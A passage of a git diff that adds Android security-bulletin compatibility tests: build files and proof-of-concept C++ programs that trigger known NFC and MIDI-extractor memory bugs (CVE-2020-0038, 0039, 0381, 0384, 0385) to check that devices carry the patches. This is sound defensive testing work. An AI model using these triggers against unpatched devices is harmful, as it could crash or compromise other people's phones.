+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
new file mode 100644
index 0000000..195d430
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0038",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+        "system/nfc/src/nfa/include/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
new file mode 100644
index 0000000..27acfe3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+  RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+
+  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+  RW_I93_STATE_FORMAT,        /* performing format procedure          */
+  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+
+  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+};
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+
+  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+
+  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+  RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
+  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+                                      */
+
+  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+  if (!real_GKI_getbuf) {
+    return;
+  }
+
+  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+  if (!real_GKI_freebuf) {
+    return;
+  }
+
+  kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+  if (!kIsInitialized) {
+    init();
+  }
+  return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+  if (!kIsInitialized) {
+    init();
+  }
+  free(ptr);
+}
+
+int main() {
+  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+  GKI_init();
+  rw_init();
+
+  uint8_t p_uid = 1;
+  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+    return EXIT_FAILURE;
+  }
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+  p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
+  p_i93->block_size = 30;
+
+  enable_selective_overload = ENABLE_ALL;
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+
+  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_NONE;
+
+  (p_data->data.p_data)->len = 10;
+  p_data->data.p_data->offset = 0;
+  p_data->status = NFC_STATUS_OK;
+
+  p_cb->p_cback(0, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
new file mode 100644
index 0000000..16dac28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0039",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+        "system/nfc/src/nfa/include/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
new file mode 100644
index 0000000..6ebc3f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+  RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+
+  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+  RW_I93_STATE_FORMAT,        /* performing format procedure          */
+  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+
+  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+};
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+
+  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+
+  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+  RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
+  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+                                      */
+
+  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+  if (!real_GKI_getbuf) {
+    return;
+  }
+
+  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+  if (!real_GKI_freebuf) {
+    return;
+  }
+
+  kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+  if (!kIsInitialized) {
+    init();
+  }
+  return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+  if (!kIsInitialized) {
+    init();
+  }
+  free(ptr);
+}
+
+int main() {
+  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+  GKI_init();
+  rw_init();
+
+  uint8_t p_uid = 1;
+  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+    return EXIT_FAILURE;
+  }
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+  p_i93->sub_state = RW_I93_SUBSTATE_UPDATE_LEN;
+  p_i93->block_size = 30;
+  p_i93->rw_length = 1;
+
+  enable_selective_overload = ENABLE_ALL;
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+
+  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_NONE;
+
+  (p_data->data.p_data)->len = 10;
+  p_data->data.p_data->offset = 0;
+  p_data->status = NFC_STATUS_OK;
+
+  p_cb->p_cback(0, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
new file mode 100644
index 0000000..9f254e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0381",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libmedia/include/android",
+        "frameworks/av/media/libmedia/include",
+        "frameworks/av/media/libstagefright/foundation/include",
+        "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+        "frameworks/av/media/libstagefright/include",
+        "frameworks/av/media/libstagefright/include/media/stagefright",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediandk",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+  int mFdData;
+  int mFdInfo;
+  XMFDataSource(int fdData, int fdInfo) {
+    mFdData = fdData;
+    mFdInfo = fdInfo;
+  }
+
+  ~XMFDataSource() = default;
+
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+                         size_t size) {
+    uint32_t infoOffset, infoSize;
+    read(mFdInfo, &infoSize, sizeof(int32_t));
+    read(mFdInfo, &infoOffset, sizeof(int32_t));
+    lseek(mFdData, infoOffset, SEEK_SET);
+    read(mFdData, data, infoSize);
+    return size;
+  }
+
+  virtual status_t getSize(off64_t *size) {
+    *size = 0x10000;
+    return 0;
+  }
+  virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+  if (fdData >= 0) {
+    ::close(fdData);
+  }
+  if (fdInfo >= 0) {
+    ::close(fdInfo);
+  }
+  if (libHandle) {
+    dlclose(libHandle);
+  }
+}
+
+int main(int argc, char **argv) {
+  if (argc < 3) {
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_ALL;
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
+  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  int fdData = open(argv[1], O_RDONLY);
+  if (fdData < 0) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+  int fdInfo = open(argv[2], O_RDONLY);
+  if (fdInfo < 0) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+  if (!dataSource) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+
+  float confidence = 0.0f;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  }
+
+  close_resources(fdData, fdInfo, libHandle);
+  enable_selective_overload = ENABLE_NONE;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
new file mode 100644
index 0000000..5d00345
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0384",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libmedia/include/android",
+        "frameworks/av/media/libmedia/include",
+        "frameworks/av/media/libstagefright/foundation/include",
+        "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+        "frameworks/av/media/libstagefright/include",
+        "frameworks/av/media/libstagefright/include/media/stagefright",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediandk",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+  int mFdData;
+  int mFdInfo;
+  XMFDataSource(int fdData, int fdInfo) {
+    mFdData = fdData;
+    mFdInfo = fdInfo;
+  }
+
+  ~XMFDataSource() = default;
+
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+                         size_t size) {
+    uint32_t infoOffset, infoSize;
+    read(mFdInfo, &infoSize, sizeof(int32_t));
+    read(mFdInfo, &infoOffset, sizeof(int32_t));
+    lseek(mFdData, infoOffset, SEEK_SET);
+    read(mFdData, data, infoSize);
+    return size;
+  }
+
+  virtual status_t getSize(off64_t *size) {
+    *size = 0x10000;
+    return 0;
+  }
+  virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+  if (fdData >= 0) {
+    ::close(fdData);
+  }
+  if (fdInfo >= 0) {
+    ::close(fdInfo);
+  }
+  if (libHandle) {
+    dlclose(libHandle);
+  }
+}
+
+int main(int argc, char **argv) {
+  if (argc < 3) {
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_ALL;
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
+  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  int fdData = open(argv[1], O_RDONLY);
+  if (fdData < 0) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+  int fdInfo = open(argv[2], O_RDONLY);
+  if (fdInfo < 0) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+  if (!dataSource) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+
+  float confidence = 0.0f;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  }
+
+  close_resources(fdData, fdInfo, libHandle);
+  enable_selective_overload = ENABLE_NONE;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
new file mode 100644
index 0000000..5a32f57
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0385",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libmedia/include/android",
+        "frameworks/av/media/libmedia/include",
+        "frameworks/av/media/libstagefright/foundation/include",
+        "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+        "frameworks/av/media/libstagefright/include",
+        "frameworks/av/media/libstagefright/include/media/stagefright",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediandk",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+  int mFdData;
+  int mFdInfo;
+  XMFDataSource(int fdData, int fdInfo) {
+    mFdData = fdData;
+    mFdInfo = fdInfo;
+  }
+
+  ~XMFDataSource() = default;
+
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+                         size_t size) {
+    uint32_t infoOffset, infoSize;
+    read(mFdInfo, &infoSize, sizeof(int32_t));
+    read(mFdInfo, &infoOffset, sizeof(int32_t));
+    lseek(mFdData, infoOffset, SEEK_SET);
+    read(mFdData, data, infoSize);
+    return size;
+  }
+
+  virtual status_t getSize(off64_t *size) {
+    *size = 0x10000;
+    return 0;
+  }
+  virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+  if (fdData >= 0) {
+    ::close(fdData);
+  }
+  if (fdInfo >= 0) {
+    ::close(fdInfo);
+  }
+  if (libHandle) {
+    dlclose(libHandle);
+  }
+}
+
+int main(int argc, char **argv) {
+  if (argc < 3) {
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_ALL;
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
